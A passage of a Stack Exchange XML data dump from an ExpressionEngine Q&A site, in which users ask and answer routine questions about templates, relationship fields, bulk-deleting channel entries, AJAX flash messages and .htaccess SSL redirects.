{embed=&quot;includes/productsummary&quot; prod=&quot;{entry_id}&quot;}&#xA;    {/related_entries}&#xA;{/if}&#xA;{if also_like_3 &amp;gt; ''}&#xA;    {related_entries id=&quot;also_like_3&quot;}&#xA;    {embed=&quot;includes/productsummary&quot; prod=&quot;{entry_id}&quot;}&#xA;    {/related_entries}&#xA;{/if}&#xA;{if also_like_1 &amp;gt; ''}&#xA;&amp;lt;/div&amp;gt; &amp;lt;!-- END #alsolike --&amp;gt;&#xA;&amp;lt;div class=&quot;clearboth&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's what the productsummary template looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; id=&quot;{embed:prod}&quot; limit=&quot;1&quot; }&#xA;&amp;lt;div class=&quot;prodsumm&quot;&amp;gt;&#xA;{embed:prod}{title}&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, I'm getting the right values for {embed:prod}, which are the desired products entry_id's; but the {title} keeps coming out with the parent's title.  :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Main question: how do I get the desired products entry in the embedded template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Side question: is there any way to reference the enclosing entry's fields in the inner channel:entries tag? (Either with an embed or without.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help.&lt;/p&gt;&#xA;" OwnerUserId="1126" LastActivityDate="2013-03-22T19:33:08.407" Title="Self-Referenced Relationships" Tags="|embeds|relationships|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7641" PostTypeId="2" ParentId="7640" CreationDate="2013-03-22T18:18:56.217" Score="1" Body="&lt;p&gt;Your embed code is incorrect. You need to use &lt;code&gt;entry_id&lt;/code&gt;, not &lt;code&gt;id&lt;/code&gt; as the parameter. Also, you should use the &lt;code&gt;disable&lt;/code&gt; parameter when embedding templates to reduce queries.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; entry_id=&quot;{embed:prod}&quot; limit=&quot;1&quot; disable=&quot;member_data|pagination|categories&quot;}&#xA;&amp;lt;div class=&quot;prodsumm&quot;&amp;gt;&#xA;    {embed:prod} - {title}&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; See &lt;a href=&quot;https://expressionengine.stackexchange.com/a/7643/55&quot;&gt;Jean's answer&lt;/a&gt;, the embed is actually not required at all.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2013-03-22T19:33:08.407" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7642" PostTypeId="2" ParentId="7634" CreationDate="2013-03-22T18:23:58.973" Score="5" Body="&lt;p&gt;I would like to point out that your first example is &lt;em&gt;not&lt;/em&gt; a relative path - it's an absolute path with a variable domain.  This crucial difference explains why the full path in your second example is the preferred form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a page at &lt;code&gt;example.com/foo.html&lt;/code&gt;, and a page at &lt;code&gt;example.com/bar/baz.html&lt;/code&gt;, there's a few ways to link to the second page from the first:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Absolute path with site_url:  &lt;code&gt;{ site_url }/bar/baz.html&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Absolute path without site_url:  &lt;code&gt;/bar/baz.html&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Relative path: &lt;code&gt;bar/baz.html&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In this case, it's pretty straightforward.  Now imagine the reverse - how exactly will &lt;code&gt;baz.html&lt;/code&gt; link back to &lt;code&gt;foo.html&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Absolute path with site_url:  &lt;code&gt;{ site_url }/foo.html&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Absolute path without site_url:  &lt;code&gt;/foo.html&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Relative path: &lt;code&gt;../foo.html&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The relative paths for the pages have an entirely different format, because they're relative to where the linking page is.  This is bad, it means your URL formatters have to be context-sensitive.  So that's out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So either form of absolute path looks good, right?  Not quite.  Imagine you wrote your code on a server that gives you the subdomain &lt;code&gt;user.example.com&lt;/code&gt;, and you used the second form, that doesn't use site_url, because it was simplest at the time.  Everything will work perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, later, you have to migrate to a server that puts your account at the url &lt;code&gt;example.com/user/&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, crap.  Now all your links are going to go to &lt;code&gt;example.com/foo.html&lt;/code&gt; instead of the required &lt;code&gt;example.com/user/foo.html&lt;/code&gt;.  You can go through and update every single reference, but that's unnecessary work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you'd written them using &lt;code&gt;{ site_url }&lt;/code&gt; from the start, you only have to change that one setting.&lt;/p&gt;&#xA;" OwnerUserId="1219" LastActivityDate="2013-03-22T18:23:58.973" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7643" PostTypeId="2" ParentId="7640" CreationDate="2013-03-22T19:10:17.460" Score="2" Body="&lt;p&gt;Are you sure the embed is needed. Can relationship fields be self-referencing on their own without the need for an embed?  Have you tried simply using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{related_entries id=&quot;also_like_1&quot;}&#xA;    {title}&#xA;{/related_entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does that not generate the correct output for you? I'm so used to using playa for relationships like that, I can't remember what native relationship fields will allow you to do.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-03-22T19:10:17.460" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7645" PostTypeId="1" AcceptedAnswerId="7647" CreationDate="2013-03-22T19:48:42.303" Score="1" ViewCount="43" Body="&lt;p&gt;Is there a way to retreive parent/child data from within the Playa 3 loops? I tried using &lt;code&gt;{parent:title}&lt;/code&gt;, but that just prints that string.&lt;/p&gt;&#xA;" OwnerUserId="373" LastActivityDate="2013-03-22T19:57:58.460" Title="Parent/child data from Playa 3 loop" Tags="|add-on|playa|pixelandtonic|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7646" PostTypeId="1" AcceptedAnswerId="7757" CreationDate="2013-03-22T19:57:05.863" Score="3" ViewCount="2939" Body="&lt;p&gt;Is there any way to use &lt;code&gt;$this-&amp;gt;EE-&amp;gt;session-&amp;gt;set_flashdata();&lt;/code&gt; when calling a method via ajax without having to do a page reload to get the message to appear as it normally would under a non-ajax situation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried and the message shows up after the next page load which of course isn't ideal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read a few posts over at SO that said it requires the page reload though, just wanted to double check to make sure it was in fact &lt;em&gt;not&lt;/em&gt; possible to trigger the message via an ajax request without the load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="16" LastEditDate="2013-03-23T16:14:28.683" LastActivityDate="2013-04-07T17:49:07.113" Title="Trigger set_flashdata when method called via ajax" Tags="|ee2|add-on-development|ajax|sessions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7647" PostTypeId="2" ParentId="7645" CreationDate="2013-03-22T19:57:58.460" Score="1" Body="&lt;p&gt;As it turns out, using &lt;code&gt;{reverse_related_entries}{title}{/reverse_related_entries}&lt;/code&gt; does the trick.&lt;/p&gt;&#xA;" OwnerUserId="373" LastActivityDate="2013-03-22T19:57:58.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7648" PostTypeId="1" AcceptedAnswerId="7652" CreationDate="2013-03-22T20:36:08.633" Score="5" ViewCount="1094" Body="&lt;p&gt;What is the best way to delete every entry in a particular channel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm talking thousands of entries, so checking each entry and clicking delete isn't going to work.&lt;br&gt;&#xA;I also know you can't just delete rows from exp_channel_data.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2018-09-25T23:48:58.910" Title="What is the best way to delete every entry in a channel?" Tags="|entries|delete|bulk|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7649" PostTypeId="2" ParentId="7648" CreationDate="2013-03-22T20:40:26.937" Score="4" Body="&lt;p&gt;Best bet might be to go through the database tables and look for any &lt;code&gt;entry_id&lt;/code&gt; fields. Those tables have foreign keys on &lt;code&gt;entry_id&lt;/code&gt; (or just dependencies) and are where you need to track down loose ends.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you have comments enabled, you'll need to delete from &lt;code&gt;exp_comments&lt;/code&gt; first:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Delete from exp_comments where entry_id in (Select entry_id from exp_channel_titles where channel_id = 22)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can use that subselect in all your cleanup queries to make sure you match that original list. It's a bit more intuitive too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;exp_channel_data&lt;/code&gt; is the other half of your channel entries, so that should be cleaned up before &lt;code&gt;exp_channel_titles&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last step will be to clean up &lt;code&gt;exp_channel_titles&lt;/code&gt;. That's where entries are established. You could have entries there without really having any &lt;code&gt;exp_channel_data&lt;/code&gt;, if no channel field group was assigned.&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-03-22T20:40:26.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7650" PostTypeId="1" CreationDate="2013-03-22T20:41:50.097" Score="2" ViewCount="55" Body="&lt;p&gt;I'm trying to prep an ExpressionEngine 1.7 site for upgrade to ee2 and there are a number of Gypsy fields I need to convert. I'm trying to use the &lt;a href=&quot;https://github.com/litzinger/UndoGypsy.eeaddon/blob/master/pi.undo_gypsy.php&quot; rel=&quot;nofollow&quot;&gt;undo_gypsy plugin&lt;/a&gt; but nothing happens when I follow the instructions. I've checked all the Group and Weblog IDs and the only thing I can think of is that maybe the site ID might need to be included?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no place for a site ID, so I'm stuck.When I run the tag in the new template, the page stays blank and I can't even get an error. I've tried only adding the specific weblogs for the site I'm on and run the template from that weblog and I've tried adding all the weblogs for all sites at the same time but neither seems to work. The new Field Groups have no new fields and the old Gypsy Fields are still there and plugin is still installed.&lt;/p&gt;&#xA;" OwnerUserId="669" LastActivityDate="2013-03-22T20:41:50.097" Title="Undo Gypsy Plugin Failing on MSM Site" Tags="|multi-site-manager|upgrade|gypsy|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7651" PostTypeId="1" CreationDate="2013-03-22T20:43:01.947" Score="0" ViewCount="51" Body="&lt;p&gt;Why would the Fieldtypes option under Add-ons not be available in the CP in EE 2.1.1?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've inherited a site, so have no knowledge of a broken update or other such cause.  Matrix seems to be properly installed, is working on the entry page and the site is populating the content properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone seen this before?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks very much,&#xA;Doug&lt;/p&gt;&#xA;" OwnerUserId="202" LastActivityDate="2013-03-26T16:46:07.560" Title="Why has Fieldtypes disappeared in CP menu?" Tags="|control-panel|fieldtype|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7652" PostTypeId="2" ParentId="7648" CreationDate="2013-03-22T21:35:26.320" Score="11" Body="&lt;p&gt;Why not just delete the Channel?&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-03-22T21:35:26.320" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="7653" PostTypeId="2" ParentId="7648" CreationDate="2013-03-23T00:01:32.370" Score="1" Body="&lt;p&gt;So you want to delete all entries, but keep the channel itself, correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@Mark J. Reeves' solution is good if you feel comfortable running raw SQL commands, either through the control panel or from something like phpMySQL. Alas, I am not so adventurous/confident in my geek-fu levels. I would go to the Edit screen, select the channel you want to clean out, select &quot;150 results&quot; to see 150 results from that channel, per screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I'd select the checkbox in the top of the rightmost column (to select all 150), scroll down to the bottom of the Edit listing, select &quot;Delete Selected&quot;, and hit the Submit button. Then repeat that process 10 times, to wipe out 1500 posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note, however, that that is still not instant. You have to do that over and over until the channel is emptied - and if you've got 4K entries in the channel, that's a LOT of repeats. But it's much faster than selecting each one individually, and you don't need to worry about typing in the correct SQL command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I guess you could call Mark's answer best-practices/fastest results, and mine the &quot;training wheels&quot; approach. :)&lt;/p&gt;&#xA;" OwnerDisplayName="user800" LastActivityDate="2013-03-23T00:01:32.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7654" PostTypeId="2" ParentId="7611" CreationDate="2013-03-23T00:07:18.880" Score="1" Body="&lt;p&gt;It could be that the &lt;code&gt;{months}&lt;/code&gt; variable pair tagdata is removed from the template and appended to the output later on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please could you try this: instead of wrapping the inner &lt;code&gt;{exp:stash:set_list}&lt;/code&gt; around the tag pair, use &lt;code&gt;{exp:stash:append_list}&lt;/code&gt; &lt;em&gt;inside&lt;/em&gt; the tag pair. Also, when you get the list, don't use &lt;code&gt;parse_tags=&quot;yes&quot;&lt;/code&gt; on either of the get_list tags - no further parsing is required at that point.&lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2013-03-23T00:07:18.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7655" PostTypeId="1" CreationDate="2013-03-23T03:10:52.483" Score="3" ViewCount="302" Body="&lt;p&gt;I have the following scenario:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;2 Channels: &lt;code&gt;events&lt;/code&gt; and &lt;code&gt;users&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;{user_id}&lt;/code&gt; holds the &lt;code&gt;{entry_id}&lt;/code&gt; to the currently logged in member since members are stored in a channel rather than using the native member module.&lt;/li&gt;&#xA;&lt;li&gt;In the event list, I have an &quot;add to my events&quot; safecracker form which should inject the currently logged in &lt;code&gt;{user_id}&lt;/code&gt; into the Playa field (&lt;code&gt;cf_event_participants&lt;/code&gt;) on the &lt;code&gt;events&lt;/code&gt; entry currently being edited.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I can read and write to the correct entry and can set the definite playa selection using the hidden field method like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;cf_event_participants[selections][]&quot; value=&quot;{user_id}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem I am having is that the above &lt;code&gt;cf_event_participants&lt;/code&gt; field is a multi selection field and the effect of the above is that all existing relationships already stored in that field are cleared upon submitting the safecracker form and replaced only with the submitted logged in &lt;code&gt;{user_id}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to just &lt;strong&gt;add&lt;/strong&gt; a new relationship to the field without disturbing the existing ones already stored inside the &lt;code&gt;[selections]&lt;/code&gt; array?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One more caveat: Because multiple users might be &quot;saving&quot; an event into their list simultaneously the following work around will &lt;em&gt;not&lt;/em&gt; work as by the time the user submits this form, another user might have already added themselves into the &lt;code&gt;cf_event_participants[selections]&lt;/code&gt; array.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// loop through existing values of the relationship field and store as hidden&#xA;// fields with the entry_id as value.&#xA;{cf_event_participants}&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;cf_event_participants[selections][]&quot; value=&quot;{entry_id}&quot;&amp;gt;&#xA;{/cf_event_participants}&#xA;&#xA;// add new member&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;cf_event_participants[selections][]&quot; value=&quot;{user_id}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="234" LastActivityDate="2013-05-17T21:25:32.130" Title="How can I add a Playa relationship via SafeCracker" Tags="|safecracker|playa|pixelandtonic|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7656" PostTypeId="2" ParentId="7646" CreationDate="2013-03-23T11:48:43.537" Score="1" Body="&lt;p&gt;Assuming you're calling the method via Ajax dataType html, you can get the return html which will be the entire CP html include the message, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function submitForm($form) {&#xA;    //###   Send form via AJAX   ###&#xA;    $.ajax({&#xA;        type: &quot;POST&quot;,&#xA;        data: $form.serialize(),&#xA;        dataType: &quot;html&quot;,&#xA;        url: $form.attr(&quot;action&quot;),&#xA;        cache: false,&#xA;        success: function (html) {&#xA;            $(&quot;#footer&quot;).after(getMessage(html));&#xA;        },&#xA;        error: function (XMLHttpRequest, textStatus, errorThrown) {&#xA;            //###   Error occurred, could be server, CMS or 404   ###&#xA;            $form.find(&quot;[type='submit']&quot;).fadeTo(&quot;slow&quot;, 1).removeAttr(&quot;disabled&quot;).removeClass(&quot;disabled&quot;)&#xA;                .addClass('error')&#xA;                .after('&amp;lt;label class=&quot;error&quot; generated=&quot;true&quot;&amp;gt;'+textStatus+'&amp;lt;/label&amp;gt;');&#xA;        }&#xA;    });&#xA;} //###   End of submitForm function   ###&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This could probably be simplified to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(this).click( function(e) {&#xA;    var url = $(this.form).attr('action');&#xA;    var data = $(this.form).serialize();&#xA;    $.post(url, data, function() {&#xA;        $(&quot;#footer&quot;).after(getMessage(html));&#xA;    });&#xA;    e.preventDefault();&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the EE Admin the #notice_container div contains the message(s) and appears after the #footer div in the DOM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Handy JQuery function to get the div and content (as opposed to just innerHTML):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery.fn.outerHTML = function() {&#xA;  return jQuery('&amp;lt;div /&amp;gt;').append(this.eq(0).clone()).html();&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://stackoverflow.com/questions/3614212/jquery-get-html-of-a-whole-element&quot;&gt;https://stackoverflow.com/questions/3614212/jquery-get-html-of-a-whole-element&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you'll need the code to rip the message from the return html:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function getMessage(html_string) {&#xA;    var $html = $('&amp;lt;div&amp;gt;',{html:html_string}).hide().appendTo('body');&#xA;    $message_div = $html.find('#notice_container').outerHTML();&#xA;    $html.remove();&#xA;    return $message_div;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hopefully this should then place the message and message html elements into your page - the next problem is it's probably hidden via CSS, if so, show it via JS. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And finally there's no JS code attached to it. So have a scan of the Control Panel code looking for triggers on #notice_counts, .notice_success, .notice_alert, .notice_error &amp;amp; .notice_info and either re-intialise or duplicate the functionality (open and close slider - the remove is in-line JS so no need to worry).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the above is theory, so not tested but will hopefully help!&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-03-23T11:48:43.537" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7657" PostTypeId="1" AcceptedAnswerId="7661" CreationDate="2013-03-23T13:38:31.420" Score="1" ViewCount="241" Body="&lt;p&gt;I have set up a T-Shirt with the Options Configurator field type named 'inventory_and_options' but can't work out how to display its selected item options in an invoice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The products options are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Size: Red, Blue&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Colour: Small, Medium&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created an order for a medium blue Tshirt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My invoice code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:order_items order_id=&quot;{entry_id}&quot;}&#xA;    {item:title}&amp;lt;br&amp;gt;&#xA;    {item_options}&#xA;        Option Label = {option_label}&amp;lt;br&amp;gt;&#xA;        Option Name = {option_name}&amp;lt;br&amp;gt;&#xA;        Option Value = {option_value}&amp;lt;br&amp;gt;&#xA;    {/item_options}&#xA;{/exp:cartthrob:order_items}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This displays:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Great T-Shirt&#xA;Option Label = Inventory and Options&#xA;Option Name = Medium Blue&#xA;Option Value = sku-medium-blue&#xA;Option Label = Inventory And Options:size&#xA;Option Name = Medium&#xA;Option Value = Medium&#xA;Option Label = Inventory And Options:colour&#xA;Option Name = Blue&#xA;Option Value = Blue&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So that has looped through all the item_options but all I want it to give me is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Great T-Shirt&#xA;Size: Medium &#xA;Colour: Blue&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I get rid of the item_options tag and hard code the fields created in the order items field in the orders channel..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:order_items order_id=&quot;{entry_id}&quot;}&#xA;    {item:title}&amp;lt;br&amp;gt;&#xA;    {item:inventory_and_options}&amp;lt;br&amp;gt;&#xA;    {if item:inventory_and_options:size}Size: {item:inventory_and_options:size}{/if}&amp;lt;br&amp;gt;&#xA;    {if item:inventory_and_options:colour}Colour: {item:inventory_and_options:colour}{/if}&amp;lt;br&amp;gt;&#xA;{/exp:cartthrob:order_items}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Displays:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Great T-Shirt&#xA;sku-medium-blue&#xA;Size: Medium&#xA;Colour: Blue&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is close but obviously causes a problem if I add other product options other than size and colour as I would have to manually update the template whenever I add a new product option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for the rambling explanation, has anyone else had problems displaying   options in an invoice?&lt;/p&gt;&#xA;" OwnerUserId="1038" LastActivityDate="2014-01-15T21:21:45.650" Title="Order Items with Options Configurator" Tags="|cartthrob|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7658" PostTypeId="1" AcceptedAnswerId="7667" CreationDate="2013-03-23T14:12:17.657" Score="3" ViewCount="553" Body="&lt;p&gt;I'm building a site that has a directory listing and I want to allow the user to browse by location. The ideal scenario would be that they would follow this sort of a path:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;go to site.com/browse and select a country&lt;/li&gt;&#xA;&lt;li&gt;this loads site.com/browse/category/uk, then select a region&lt;/li&gt;&#xA;&lt;li&gt;this loads site.com/browse/category/uk/northern-ireland, then select a county&lt;/li&gt;&#xA;&lt;li&gt;this loads site.com/browse/category/uk/northern-ireland/antrim, then select a town/city/area&lt;/li&gt;&#xA;&lt;li&gt;this loads site.com/browse/category/uk/northern-ireland/antrim/belfast&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now, I think I can do this using EE categories. I could even load up the sub categories over ajax each time they select a parent category. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The category structure in EE for locations would look something like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Country&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Region/State&#xA;&lt;ul&gt;&#xA;&lt;li&gt;County&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Town/City/Area&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My issue is that even with 1 country, there would be a lot of categories. I can handle this neatly on the frontend using GWcode Categories I think. But what about the EE CP. If I click to edit an entry, it would need to load up all these categories in a list. That's a lot. What about when we decide to add another country and need loads more categories again. I want to build this right from the start and don't want to have to re-engineer it later. Another problem is trying to import all those categories. There doesn't seem to be a way to do it. I know there are addons like WB Category Select and JP Category Select, but they still don't solve the issue of having 1000s of categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This leads me to believe that I should put all the locations into their own channel and use Playa or a relationship field as a way to display them and allow the user to choose them. But if I do this, is there a way in the channel entry page to allow the user to select the first level (country), which would then populate the second level, and so on? Maybe we need to make our own field type or is there something out there I just haven't found yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, if this is possible, I would need to filter the entries based on their relationship field. I suppose I'd need to use a mix of freebie to get the filter from the url and use playa to filter based on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose I'm asking if I'm over complicating this whole thing or is there an easier way of doing this? Any advice or suggestions would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Dave&lt;/p&gt;&#xA;" OwnerUserId="176" LastActivityDate="2013-03-23T23:11:30.763" Title="Using categories to build a location filter" Tags="|categories|playa|filter|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7659" PostTypeId="2" ParentId="7601" CreationDate="2013-03-23T14:24:07.080" Score="3" Body="&lt;p&gt;The two chunks of code you require are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Redirect certain site pages to SSL and vice-versa&#xA;RewriteCond %{REQUEST_URI} !(extranet|themes|images|assets)&#xA;RewriteCond %{QUERY_STRING} !^(ACT=.*)$ [NC]&#xA;RewriteCond %{HTTPS} on&#xA;RewriteRule ^(.*)$ http://%{HTTP_HOST}%{REQUEST_URI} [R=301,NC,L]&#xA;&#xA;RewriteCond %{REQUEST_URI} (extranet)&#xA;RewriteCond %{HTTPS} !=on&#xA;#RewriteCond %{SERVER_PORT} !^443$&#xA;RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [R=301,NC,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first 4 lines force it to non-SSL, the last 4 lines force it to SSL. The important bit is the first line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_URI} !(extranet|themes|images|assets)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This lists the first segments of the URL that you don't want to change to http (from https). You need to include any URLs that will be on the extranet site - images, CSS and Javascript includes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some servers don't like &lt;code&gt;RewriteCond %{HTTPS} !=on&lt;/code&gt;, so you may need to use the port number instead: &lt;code&gt;RewriteCond %{SERVER_PORT} !^443$&lt;/code&gt; - I've included it in the above but commented out just in case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The order you place it in the .htaccess is important, based on my working version order and the code you supplied it would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;&#xA;# Remove trailing slashes&#xA;RewriteCond %{REQUEST_METHOD} !=POST&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.+)/$ /$1 [R=301,L]&#xA;&#xA;# Add www&#xA;RewriteCond %{HTTP_HOST} !^www\.&#xA;RewriteRule ^(.*)$ http://www.%{HTTP_HOST}/$1 [R=301,L]&#xA;&#xA;# Redirect certain site pages to SSL and vice-versa&#xA;RewriteCond %{REQUEST_URI} !(extranet|themes|images|assets)&#xA;RewriteCond 